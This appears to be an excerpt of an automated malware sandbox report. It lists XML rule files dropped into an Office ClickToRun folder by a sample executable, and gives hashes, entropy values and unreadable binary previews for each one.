Preview:	<?xml...o5...i....fhe.o(#..M...F.WX..D._.....<..m..l.P^......k.6.u-..__!..E..K.........P.&..f..b.......~..."n.1'.}.!...2....V%..W.a.d.3.s.s...J.v.......<......?N...A..Gn.4...a..s..e..q.gb.....s-q0..B.-H....a9.p../.jb2...}.$..T....y....^).%e....c.....S...k..ox.z.G.Y..3...A...,.....X........-vc....<..Dr<.f.....B.0...o......iY@%...c.3sP.J#i...c.s..X...;......H+G.M.Y...`XPy..\|.f.HTp..T.2...2t.G`.#.5..o.f9..j.py0w.h.Z!.+tf.C.....2...Q1B......b...h}^..E.....`.$.(.../...T.`..9(.[t..8...1v\|}...V....7...J.........-j.Y.......k`.f.....5.H.6.;~.......V....O..P.EUa`...8...1Q.1.X.....E.&8...+C.y0..DRr,R#L..;..o.Y....$....\|C..........J..CN7.....^"...O...bZ._$.P..9..jN.b...\..9.9:.d..`M.r.',..&(....t@.K7.&..Gm.J#.W.j..5..l9.....r.Y.%.`./A.(}...V...W..d.._.......Vs....f.iSt.L......t......hK.q......!muS..vH..y..T.q.oz..g-T}ec.0L.3...)g.........x.Jh.R...Xn..x<.).q....[..[?...f. m.Xm..xgVk(....H.#sTb.b..ad.{..k.E.Q...{Om\d._.^X........./.........k

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703751v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1770
Entropy (8bit):	7.884572825168548
Encrypted:	false
SSDEEP:	48:nYv9bkO9fzECqGLPeexLSKVCxNLFfenf/cyC5D:YFomf6G7eTKVXnf0y8
MD5:	36DDFFF8963624C704917F27816F59B0
SHA1:	DF2FC4E95E7588F6DD5501133C36652D800E3884
SHA-256:	1E931ACEA8E9216AC3F1995899C7DBD0B04CEC63BAB1EB44B1A34616AF3C4626
SHA-512:	F6C1A49601D3DFEA353D8810D20688B60A7115DC61B7BD523ADF823B194926C68BDFFA50B79C32A05EB2F315FCBAC6CD80216F23C3B56BBD0C6FE2E50C3D581E
Malicious:	false
Preview:	<?xmlT.~.X$...1.m....=.pn..s....u2.3\|..d.'....l.TP4.4'....L..u..e.. ~..k..g.."..D..\|..i>,b1E.s.Z..&..X.H.s..S...-.eS.z..J......_.Z......M.P..z......j..._..].M...>.{...d..q...f.....!...b.L..g......O....0.Ha.r.4..7J..F...w#...4A..h.{.xh..?I...x..mF"..B.H.w..Cs..C.R..j........S.:.\|V...o...d.q......~..P....i.h.W......IS.Gz;,..k.....r..l\|p......../Y..U$...............-....W,......;....1jF.........B.F..#H.-...).u...M0.r....J{.'... .S.."3yCu..b......x.&k?.d+".....o.74..q.u.r.5..U..E.....dtI`9..K..$3.[.NfE.....0..(...#.$V.A.C ..T.5...e....e.K.q$.v.......Ll).'zP..V'".\|.C..9h.3..@....~...Op.Wxj.<...wL.....#HSB..h.k.f.]ab.y..-....-....../j..~DE%q.pu.._:..1..\v.GX."J.'c...T.YU.%..`.V#,.7..y.x.U'....L..jh..............\h....O.Mq.B..........h.;....d.....m.G...r....i:...-9.-C$.C..(S.0u......m..>a..\|.Ag..........v..-[..-......V..Z[.M...!..8...6.`X=.......0.\|...[8V...qTEL......Q.S"y.....C..sV...U.L.mKY.>..~.....n70.1.+P....6X.....v....KV.FT.@..Y@P.L.....r.l

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703800v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1715
Entropy (8bit):	7.8927313413793545
Encrypted:	false
SSDEEP:	48:zp38KqQu/hQ04n+eBX1fMczYDBth6BJdD:3fuS04n+uf8hkl
MD5:	034DD9C29CCB4542E191E3C3196A2E2B
SHA1:	C4B5A9B8B3965AE5BDEA28396DF0BB73DE0F7D61
SHA-256:	09529F5228EF4CACA5BC58EADEF53AB0A977CB531CE44473E1C4960A04D737F5
SHA-512:	1228F55CE631A6427A00A2BFC21E61A97A32E15B3D6F543BF99DB6D6F1E99C1F83A7E1B28201BA6F28C4062DE1309036DCFCE9E7DBB3A319666966A0FEC6AC94
Malicious:	false
Preview:	<?xml/T...W...DE.5...cq..&h...jn..B.qL[UU.i.u.M..^..S.,..J..ow..Z.,.l...)t.`TB.z-9..7.rN..?..Dd...-w.....Q..~i.M...Cq0....T&JT.[F....\iF..0..F[.7..2\..k/KTvd....x.4Y.t..../...1"....@.FX..+S).m.V..P.T..YO..n.t....T.1..$.>.B.NZ.sUP.W.m..,..t~....s....&..;.\|.LV.K......V..UsDE.B..-........%.E....S...c*..A1.y.O.......q .n..2......aF.q$.:X8.e....I..4..!.......@IZ....x.2........~\.x...06...b.ECK.._...j.[n..W.l....;.0.....v.R... .d>...s/...Q.p{...z..H.p!....i.....\C..2!..5.5)i+TS'a.@..c...b.g..n0.......1..%].\..`__Ng..}.....\|...%...h..3.....d...r.%+^................6.l.j..mV..E.t...s#.@C.m..a.qK.'K[.A...>.9.D...O>..L.5.."......%p....^..........P.lxC:0.....`].-.z,q....n....._.D.vFU.....Z..@..ZM.r(59z.....Y.G..d..hN.....E.:..4}..6.b[}.{...$..6....&b.H.9I..W(.z)^....@m...#..y...lj.2Xgr...h.f.cN...+........uc..(.]..8%..}j.?>_....m.7..\|6..h...0 ~.(sG.69.....Q.?%..a..N0..c{.d.......9[.[x.~V...IjV..;.k>...?".........y...R.&.....a..../.r.t.)./..i..p..x.:

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703801v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1752
Entropy (8bit):	7.891067497300013
Encrypted:	false
SSDEEP:	48:ts411nR8aOj2M1yQ7v+MxI/szXx9s+08KC5dSD:ts4b1tM1jrPk8mi5g
MD5:	B4819D3BA25491EF6B818B23387F1E83
SHA1:	1931EB981F5AE531D677804029140BE88DD8AF58
SHA-256:	65056972854977EE5088FBFA713624C6BEBEB8664ECF93214254AEACB184E94B
SHA-512:	C4438B76057F889028555182E85632226C959B47FFF2AE341FBB5EBD3BF50E8332C203AD217A5CC7DEA85FE028D0FE9D331D2A914A6246EFABDC3C6558365CBD
Malicious:	false
Preview:	<?xml....q..E.I/e.....!.A)......R_R.9...?.....z.Z..m..cY.NR\..q...%J...2X..).+..}..1>+j9..T7g......h....acR.!3%..K.}......5.< .1>..f.b3...\|G....G.t3N.sy.k...x.HD=+........7z......./_J....K@:..Z...(G..u..f.y..0Y.R.#;(.....=..........+$.9.}8[L..X.5.un{...).../.....l.$..F..wb:...F].sE.....!..W........~.4....>..a./.D.7]g........OP2.h.8.....o......p...2.k.).\HL..<....P.m.}E..8...4..I?.......Z..-_._..}.e.g....-s.\|.q\....x..3&\)O..... ..8..=...}.e..H..z....9.#..".90.&..K.LwD..e.8g.. .3...Vb.vG..&.z.Qi.~.U.2.^.k.4c(...r9.-4.E....O9].f.`o}p..&.k..>.R...#W ..e...........(..3.30..q.f...Dnb.p...G..74.\._^.H.m%........?1.C....m..zw..{...S..C...{.<{g.......:...R<6....2....Y.....FydW...]uVB.t.{N/Y....h.@.b...:.0o .>.....B-t...j`.c.e..^..}...WL..2$..o..H.-M..l%..v4y....b$..O..!e..y...p...8...: .....,Y.....M.YxP.<.%O..&.uh..DY.e.....4x...,.x...f.)....4..&...~oe....8...D....a.y9....ns..E.\|.Aj.j..}.......R.GL...&.).6...IZ@.B.......5.%p._..s.._.Kj.a.n...:.U

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703850v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.909224800737304
Encrypted:	false
SSDEEP:	48:Wir7+id3U/zeBCXzRh84Vw6QPvUowhyfNCOwXQyD:W8UaV2XyNvba
MD5:	004FB49CCD5DBB6055481ACBEBA8E4FA
SHA1:	0EDF7F65F38F79241AA30DE58B6F4F74FF4CBAE1
SHA-256:	1F85BBA167210C07EBA3A1DABA66DFFC29931877860F64B6F8DB0D58CC6973B3
SHA-512:	D9C98499AF21133CCD65B9CE57630122EF6BA086435F107FCA5C61B5575B27DD9E49E012BF1BA7D21D7F32B8FA5038E6DDA80303F102D28E8CB5136CF4BCF440
Malicious:	false
Preview:	<?xml{$.}V....;^...j..`.\|BK..'<...q.....<...tbkRq.[&.ze..C..V..C.......:...p...c..s.@\|.h.m..'.....M.....J..........X..e.9vrV...!...D2....(.....t.uE..s..m.....e....m.........>..{..n....PNYC.e...bS...V?..(....._......w1...tS.t..+^.....;.D.U%.fHlS.o..e.....rX...A....F.o9!....i.e..........0.+.....Y.....T..YsIQ:..,../._._.]....I..Y~$.\|..u...F.. .......z<...^..<_.....-AR..x.s......w......t...q.DZ.....O......>.O.T.dt0..Lwb..{Z.`..I.h..G.....Ieg......_s..:j.gw.\.%..^@..~.2...-....h..t.;..x.C....V...e..{<S{.,..H.....1..x-..Yi.2.S....Z.3$......?"hJ......z...../..".<..2..-.h...sN7.Dt...H....vZhu..0w].e.V.Y...j9.....P.pF.....7..iR...u...07..:)...57..`.'I.e.B..p.....YQ....4bXv.)Q.~?...KR......\.!......@...f.^5.\|.<...p#j.....K.S..0$8Q.Op%l..&....C.:.^..\ (~.5...=.j.\|...\|.U.....~nJ.....G. I.P.u]..H.~k......m>.%..c.lw.+..=2k<.<#.n......$.u..fG....Un.r..K.....jX...n.8F...D>.[M.L.(.Y...6W#&..2...}j.... m........v...*t...<=V...uX..4..s0.'...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703851v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1775
Entropy (8bit):	7.884146091459615
Encrypted:	false
SSDEEP:	48:h61WCjnqU9/l87qtaYgOrOq+dnL991NvpLna2eJT7O8aVzVJrOD:813m6W7SB+dnLP1NvRna5Z7t8hJi
MD5:	DE1D24E6910DC2C191A99E60DC67FF90
SHA1:	35308C79E6972D21B1AF2E30A911D1F6215842D6
SHA-256:	79050190D1B022D52D4D5BCCC12FC585275CAE1A3A78836E48B6C16578011F0F
SHA-512:	2479D4BEE41EEFF1BD0E1E105A84FEE9E3E2F8D721B17F0160B065E6E2EC65D7D689F4B92A81DB6F2667CB0A08B7E00B743ED6A7CA2AFA9F1AF7857CE5CC264B
Malicious:	false
Preview:	<?xml.Z......8I...`;..e8.=bf.w.....i.X....k.2V.....Je.4.g.n.l.+6....c..Uf}..G{DD..$F.;iO;YD.0....... yy..0.,O.nt..U...&W.z)..~.h..l..\3.8.eE..P..q.3..q.@.G.c.9.[0.Y.U.{..Pr1....Fw.T~.7.e..a...0Z.l...]'.tm..u..A.....>o.........S.@..]..F..#q.U..w.........6...j..v!<EU.>.}..."./..C....W=.......(n(.o..9..../s.....?-.....e....s..G...r.9.FZE"a,..E...r;[.........2Dv)......)j.<X\|l..#..c.......}.P.H+uM........{...>...,.>,.E..0K=R..[.R&l..O/...2....4../.......#..\^.F.GM.:}#w..$.+..$.{.W.Vs<%.....;.(.o......]n...5I...+q#...+4...$;-.?I...l..Q...k.\|.?.?WW.O.Z...........n...J..@6V...:wU=.....x...P..!..h..E.@.......T...l.d@..6..]...kI2.....2.o;.}...^.D/.(.\_.JU...R.......8VB..Co...X..2s.\.v.&?..gIy.._5.>1..d,.h...<y...U?.t.S...!zBI..Z[e..U....x%.....'..u..0...Pg.......4.bN=w.9x.U.AI.7....x{.a.F...s&.$.6Oj.!..i.D(.e..B....k<,.z...xPq.....r.....=..y.....O.KJ..9......zl..ZV..._..^..r-....*Q...f~,.B...z.G....S...$t....,y..$.....N....&.%...O,.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703900v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1723
Entropy (8bit):	7.89690894677678
Encrypted:	false
SSDEEP:	48:9gIpEDVTiUU0uS5g3uQscsLpvod7WeZGQkYZD:9aTiUdu48rsLpv6WNKR
MD5:	F25E11407B99D45ADDE0D1BDB1A4FE84
SHA1:	3FE2DFFBB7256980CC4860F9452FAD977B15D38B
SHA-256:	B87DDF72F12D67A18802A24D39F3AE5A134B5BA3CD648467534755CBAB13914F
SHA-512:	25B41B57B84BABB44BC597E15B9C035F5C61DA2B96312080B409BB8919EAFCD3F9FD6A4549AE24A016379731DC8DFD115A41FF73CEE8D7BEB295DE516EF53C64
Malicious:	false
Preview:	<?xmlz..R..u.'.(+)..65.......F\|2C...<0Y....b........m/."......._<g...@....Y.5.<A..6p~....ts..{........>.?p.p.i.r..q..15..0jUv.^H.f4l......}....?-...`...tP......1.H8.....W.h...;[#...1...#.h.G.p\|.1...7.~...$g.;..m.......]....5.&o3.,.. D7f........;X.9e..B......+..~.[...Ce...C.cW....tBa..JSv...3.i..........gj.@...Lc.. .&..C...s..vFvn.`...a.a..1...8.w{"T./N3..@.9#....?....9...<n..>..f0.%T. JuW1F..(.O.x..w..P\....K.......6...,..[m.....G..[cp1I..:..M!Xs.tR...b.@&.......?W...l..33o.Y..v.9=.q.....5K.'........~.......oH......=.#.../..).a"/.....8....H{a8(..x.I. 0.K....o.K...........W..L.D.....p........IJh..Sb~d.....T.....8....f..Z......'/..#n..0[.d.#.....4..t...b.....V.V,..@..w(....}..-.../.)..Mi.Ey9......3..C.5.E.`F..]...?..N ..\|..Sd,.@..5.iB...<-...\..d.U.._..,A..: .....)....}Ad.x..Ux..?....#!....LC.j.\..wC.v.lR....I.1......(...fVT.;#...\|..yl......1...R (....<jqz....j.u.+...\|.....^..rA.X...l./.><%d`_..V8...o..:"....._..o....&

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703901v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1760
Entropy (8bit):	7.87222262493351
Encrypted:	false
SSDEEP:	48:UU4Scb1y93xvCWO9Yq99zqADvgIKt/0sSaD:UZScbwG99tgviy
MD5:	C545982E682F573463DE63E082455230
SHA1:	ECF89FB75BC0C014DEDCAD7A9A4471A5CD2E3233
SHA-256:	4B094668D8CCBCCAA675C53D262DB0623DB4D00601940AAFBD0CDC2D537108DE
SHA-512:	8B566BB980C112CD3D8DFFC55800ADA7D22385504F54FE0A3E7B2820A87A98E669F275DB37371680EE3EE4FDA40C478B4E078DBCDF3E6BF8546EAEF797E25FC3
Malicious:	false
Preview:	<?xml.c...b.9.qi}...H..s...oKKW...9-.....O.3z.T..l..#t..k..`....Q..w.P....U...t..(m.c#.-s.\B......i..o.0..A...h^...c.....~m."N..f8.;.C.7.......}..7....1.5'."...TO.^..-.......x>.\|{2@.O...v,.G.`.......R#F.bW..T...2N...W.b.T..!YO..gC.b<>x....s.2..4...!t/.8..p...\|N....,`.....5......2.Y....S....F.....(.......p-D..c..v.{......9.......d..j.>T.R...5w.].......a.>...g...!. .e>}\...3.Y.%..>".wB..(...\|.=V#.vq.:...."...FE.>.kJ..E!A.?%.#..C....9t.7.Wl..S..zb4#."..z.a.....D....3.-.>.=6..$uc......HJ.+h#,.j_/.?.......Nz..J...}.`.Uc..t.mF.zLmb..1!...).[@<..?.s....Pa1Ly....D5O....3.BO...A.N......;....7f....l..;..S...0..0.s..I./@:W.^>m.01.....tX..Y..\|......'..,.....u...A>Y'.'8.M5..X$..M...87..z..a...8......s.o...$.....S.Xi..d_.)..e./.........O.G.=.R.7]....6..c..G.D=.F...z........k...e#ovF7_.y..t..x.:&.vg..l..=......O......DkW..o.5..-.aeD..Nj..;........Q.I.".)G.j...;..N....J.b.L..\..-NPi.~.o. @Jw...@./3o.eV..~B....LR..\|U...............An...$k!.7_...x

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703950v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.880937862080095
Encrypted:	false
SSDEEP:	48:n47vWDFWKiDI4Q1aGVE4NoJMe7Yi1KP5NLD:47KtiE3ccEooJMe7Lun
MD5:	663C7FB2ED69297F51630957F82E27D8
SHA1:	91DB8228DB148E1504FB774534815415D50A9D14
SHA-256:	6106DD8DF785182A90206D09B58106F821843245BBFEFDC414C7F762C5C72384
SHA-512:	5C49A9CF3E8FD66AB18AA5EAE2A789C906E94062F5DDE7B9CAAAC652B970DDD14CB63483C25379081F57954B8401C7DE266766EA11ED14E9A346EAD8B6A8D5F0
Malicious:	false
Preview:	<?xml^..Q.....;.f$..Z..+. W.o...YWZoq.N<u..........o....w...#...8.<<a.....2$E..OI.......O.t'.<0..Ep.....2.1..b.N..,...x.~.,..@c..G+...G..#^.a8...Z-)..:.....#.\|".8\.fzN..I.X.~....S..^2wi:.......j...a..hT..-.H#p.F......zu...;..ra..#..&......=t..1W....T.C.....b.?.5j..^..u............-...jn..D...l.L...Kdk... ..2.S..ER[..y..G.y..^r0.0.._}:..+..&^.S.....#v..&..x...&F..8.....&.....}......+.C3Q...J....\|.a;..-.....B....B..,9....V.Y......F..zJ.D\|...T6)...H.[.Z.b.&*.'....{.m(...i...M....Q.cVz.B............R........6....1.....r........o.-.:.3..P@9oC.......?Sv..0gz?].q{m.0..bY.x.St.RDU.1...[.L:.Vf.O.0.lR.4..-......[.....O##.v.:....U.:.?.g....r...;..'\.\t..$.......oc..(.$s3.D..[].....0......>..R.T....k..ZJ.u..s........g)8..K}.T;\|.4PF.".....Q.0p.#.%...."..kYx.....Hx....$..f..E`.8.Tn..../.".........oW.$..........r.Y......=............}...P....K...N...qG...Cbf...j..c1...$..x...E..lf]"......U.p...#..p.Zl.D.A.d..&#:......m5.....l..]...........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703951v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.888973137223698
Encrypted:	false
SSDEEP:	48:42Ef4BY/GvIy3YTjGGoE/M6zc++84xpa7p6waFUpSwQ0+6D:i4BxvFYloEU6zcdHx7QSw7L
MD5:	524A7AA36B449A3C7C802B62C3BD3F7F
SHA1:	2FEA5FCEA7D9CB18A009369F7A35030F9E09C801
SHA-256:	F03FDC42B653F32E77F3FFB6C2F898B7830B54658F48C55D318BDB014B322779
SHA-512:	F8473E721CEB36C4091092FDECCDB82E034AC1987B49B262366185234FBCF2A471D48105B99D33DFA105DCB7A996EE005DD5A0E435947BFC15EC56B80D2140ED
Malicious:	false
Preview:	<?xml.r..vn..V..........)E.N6..1.0.r.h....'....].].'r.e..R5.<-A...O..s....-...C0......o..n....K#...m..L.uh..o.o..fs.S.$...9n....h..H.......3C...._.~....=....:.....T)1.6.x9..P#...\|v.......j..=.ca.P.(D.4.S.:.2O. 3........!....!.N..k.p..H.l..O..f.3.T..Ji#.-.J.3k.mO(...........A..?.P.1u.= .!jJ.M.D..Uv...M.....VQ$.W.`.......g.d.?H]. '.V..a....D..&rL..v/.........(.{u.r....`....Zf...;2.P$....U.........-...........S..t{.../....S.i....+t..3!X..pKE.qT......6...^-...V....^ZL..l...s..7...~..8.... .%i..vd)?..O.@.P\.._...x..C.5..^\|.....~._..B.h....).W..Hy.l.n..9....n.2.Yv..#EF..q.,u...o..xkP.u.[.y.@..._..iO_....l..h...b..}~u..+...S...UT.=.I.W.O.R..t.....H...0.....L.._.N.l.u.-.E0.Y..7..W..;RX".....<...7..b.....L...S.F.'..@..X...?<L......%WF....kK.]..v"z....n`QUm./.o~.(.zY...).wtV.0.m..."%*.1..(..!...]7...<...}.xO.L.!.......J..6..W....8.f.u!.....$=x63.J(.......Az..V._......F...q3..i?:...[I.....8V.K.Ev..)^.<II]6.w.J.i)Zyqk../..D<...=......r.3.J

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704000v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1715
Entropy (8bit):	7.892507039125324
Encrypted:	false
SSDEEP:	48:3Yb5ENop3DY/IkuNqIqArHvVM3C3LVWmRevuteYIOE1D:otENopTY/MEn8B3L41vUM
MD5:	F62BB9945A4604103078F16891FA0770
SHA1:	442DD6A9AFC6FDD74AD23301C2E3A7162306ED81
SHA-256:	64DC8410DC84FA7DECF98D888F6E097F3A351B6A78F2AB7CFF64BF5AFA92E1CE
SHA-512:	A0C4830C2ED0EEBE94734043970052C6082652695F391294CD2EAB5D531F10563DB4088A011ED67E938D837275E7DB02F1FB2C08D35F3276B514D34A152DF8A4
Malicious:	false
Preview:	<?xml`.2w/.4&..e&........pJ.r.n....ko..3#x...[....'..@E(...b...G.yW2.y.I....#.......hgoF.g_...Idi..$G...\19..Y{z.`X..iq.t...pQ....^..........>.;D4'H.j.L....Fn..b.-=&......[.. .T.n.0mm...Fv.........^.pz..H.1....3.t..........)7.._..%o.....U...u.WF_\.K\|.u,E..j.%.V.q.n........).T...w.n@.3...Z.j....)..=....-._.O%R\......[..k+(m.b..J...]-...,.Qv....OpG...f...~V .l)F"2.....=...u.B.i>......{..S.j....,...:..\|.......r......E....R..$..Bs..)...H7Y%..d9Qc~.....\|....~e!/..\|..m&T./..cB8.c..P._hIu..d=S.D.._R\JV.}...........hv.p.g.....s<9.aeqV.V-.t.......#O..k....p.b.. .....3.F .%..%{A6...4.J.%.@$y...j.....X.y?.....B.E{.......fo.......1J.....4."...gx.. !d.7...>.o....u.D.~..!.r."@..rZd......,R.hf.]....\|...o..;..Zb.....A.r8=..N.8.vOr..4.".0!.D<.rk.r...!.i.........D.-.l"y...9&,.O.EaG:<..?b..b?0<...d[B@..b...<.zb.7....=]r.P....:...M.%W......./...YV.4.\|^[....H6-.x....F.#....a.V..t...{;.YP..@..^.CyR'.X5.....~..._..=....Mk.:.e....u]oXv.Hq.$.).!f.Xn

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704001v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1752
Entropy (8bit):	7.883512969721943
Encrypted:	false
SSDEEP:	48:YvczIg7HuxWdcT+Jl+5RlX+/k0xkD0XG6DTD:Y8ugdcqA5+PkD4GW/
MD5:	AA74D05DFAE875B87AAD5B73CD61062B
SHA1:	CD7089AE24369F45A05A51469FD64CC1295BEBF6
SHA-256:	36A756DE1E44E6F83099B4F11DE90442B8D448690073BAD3CFCF0A91D90BB3BD
SHA-512:	A7ACB5DF583A54634262AE73C2E22A618FB5E4CD978151EA3461902418504BC8AF2692DDBE1B0B64EAD3713461C1D51B684DE72D6846DABA2FD2D8EBE7EEB57D
Malicious:	false
Preview:	<?xml.Z.>:...T.M.RE...-.....z.L..3Z..tu.....l.....1.Y<`.<{S..._{..s.j.........t...w.HFliMk..M[..w....F...."S2...6KI.nm.]./.,..O..}@..=Y.x.._.tr.1-......3..\|V..DsOc...17..so..46.9.9..C.@U.....it...Yaz.FCC...X6...a6......s.".....ZV.".....y.olyfE....({ ........gT.k..~K.q.....[j...].:T.n...Z...$.....\%=.A^........HM\|...\....e.9.5w~.-.....\z...".......$..@-..?...`..kE.l.}.oI....(..M.....].6.......&.$T.Y.o.n2.l....Q............F.t.me......z?...b..%q9)..H..6E.....S..p.'..m.PQ$....l.[..<..z....-XRkv..\b......0_...C~.p.rm`Cr6.9zA.PH..Mj.....w5l L.......d..-4..+..R..c.t.<.....<M.+3...E......V.9....hs?#i.....0%...?..~9v._.pX.r..."mC/.n.\...%.]...U.....x..L.l.F.'K.#g..8..-.B.M.N.9....nC.....\|.?.....#.a..`...i..>.]...2t.1.Y....J.Nc@..J..U..y..%g......qvP4..ble.`..X..=..`O.~..UJ..B:.e.1..(...-M.M~.....}.zx/9.]C.......L0..fl?....p....P9..{.!d2..]...`..C.sIn.<.y.........-..JQ@..m..\|.y 0..X..U_..U...@...Y..e.n....&..U....X.s..X@,`.H..#.u>.vk#.}.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704050v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.8847240811918216
Encrypted:	false
SSDEEP:	48:vTxa+7M/IcJYi38rnCNsWwVon9rX+IAjYgHQxD:vTEuMAcKdrnWsWwM0Q5
MD5:	45603DDE1B3789E56416BC41FF18AADA
SHA1:	1439DABE356E512395E6EF28705AE4AE8424142F
SHA-256:	98734855204B94ADF6B98CCA5F7AE9EBC373C6E1ABBF9CF088D45CB674F77EDE
SHA-512:	71FAD4C17A3FFE7C8D5BE620DB476A59F7F21C818AD33DB74E0F1AC5A9EEEC3D7DDBD6EBF44AEF42FB4D65DCF97E82E2953B4B8714E94CBA4DC5F7245E9B6895
Malicious:	false
Preview:	<?xml...[l'+.5Tu........=....;.8.6U-r.8....2....Bo..7........DI.....4...'.^.W....6/%.#?e.j.......\|G.t-".)l....>...^.4M.Yr@..........eyE..z.5....7W.g.Q.XZ.....4.B..5.......zT/..=..K.z.g...3.3..Z...!..h.[3*Rt.d...G..A./.......KM..gT.y........:.p.\.}E..V..Y.EE.J..i.o8..%.1cBb..68..;K...jQ._]..^4..z..":7....7.1.:..;[.aB.....!.=...N..UqE.i..u...X....IZ9...GZ...y......?..k...C.) p.".L..r.(.#.y...T.9[.n.......e68)6...&...[.W..^a.+P_J..+..).T....{.[.HU..LD...)9ms..Bs..".S.....bwS....{.-.2.s`y....l.:..QK...95.K.r9.. .W...S4w.A#.....c.F.L..=Bg..rO.dS.....tD..U.B.....8.d+}.......5..9j.F......3.^...8dWcU.y>.=..o.S..!.....r^$..............JOr={.kI.LP..n....k.......x}p.e"G..E...6S..f....D...`...6p.....;...\WW3..W.;..l..;.....s..../...{.,...T...w..Jf..D...hS...C.H....r..L...........e5..4.1N.>......I<.(...@...v.ZA....'.........L....;p..i.....L?.a........j#i.I=u...!Z'p..#a.dc...;9...nt.N..d.V.....}bc'.%.z,H.a..H\J....uy}.nIhn...m.......s..Q....^T.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704051v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.86277057807987
Encrypted:	false
SSDEEP:	48:U4VfArsgoKjLDGKOzdM0AO6wajjMiX2pnD:UWArfoUGrxeO6wWni
MD5:	150271201E24771D10991E0E0C9DB8BB
SHA1:	8083B0CDBEE4B31D4FBA75E4B992B00421CF9DEF
SHA-256:	0761E91A62733AB49A15A7A9D7969FB95B0FEBD5E9B9B38FAC74E87A70DBE9A0
SHA-512:	C3EC264C07715E676CA7FDA9D40B0A34FBA8C87CCAB80DE39A5CB1B69FD0F4AC4B207DA10155DCE1BD51B2A0E8EEB3BB08C9896323CC69DB2009AC890CE994A1
Malicious:	false
Preview:	<?xmlP...N..j..d.,..Z..).T....7.A.e6I.. J...r."_~U....G..(+.:.......q..b..j.,.?8.b@e.....I...OY.\h@..xrv7...EH.`]............A'..n..^.`G.!9.....Qq....M5.3K..._.....@s.N......&.5..-..........zb.s5$.....~..}-F.=.n...s1.8v(.W.r3.2t.YS...g..#..v.Fbu....l.^.....>....!.l....WW@....X..A.l...3n.@.%.0 ..'..Ev.'..3V.W12l.Ls.c.,.......q......5..t..b.........G.%<.x....[.@.C..`d...2...jo.3..z`..MR.d.6_. ......1......,..w..cm>R..m.)T.[....m......xJ0...;..........y.!..b..\...JH...}.}G.......(....E...;T.A`Z./.n.2.Z.W...!@...C.....]..K]).....c3.A.F.H.>...RU.$..8..+.1.t.7b..31. .E^."..q.....,.K..F.y5..{.O..o.Y.ms..eU...V...;.JD..F..".Y..@.....B..;...X.....y.&X.f..3...[....8.ow...?U...4.z.f....8..Z.,.j..r...a.N..>k. ...hk.".1..o.Xne....ep6i....5..K#.g.i.o.:....2\|.m$...-$....+.......[..]SP..H...o.+32x.}.<(.9...gZ3}].b......T..[/1..&.P...j.;..(............7.......{....j.2.....("...n2.....[Rf .]v.v]......L......W.\....5Ot.nl.d}C...q.b....+y..2.f..........u

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704100v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.886764185113199
Encrypted:	false
SSDEEP:	48:GGY8FAmWLkAaq3GNlM+vYoWEAgyPPp7BIH6IdLD:FOZLkAaBFAR3RPPFBen
MD5:	8927710B088F9D05DE08196BE6AF04C1
SHA1:	A235740315357D1699044B98D49FEED32EBFD3F6
SHA-256:	083FF09D290F089F011707B7BE0ABCF6D299036C8302F977B17FFB95DA0C1742
SHA-512:	1977F87FF4DD059FD099C59A64484BAA01BCC50B22B02F7EB734A399FE7FF3C5BBC3467041F46904AB3394EFE95E2546CF01C0275921788653D026CF4A097580
Malicious:	false
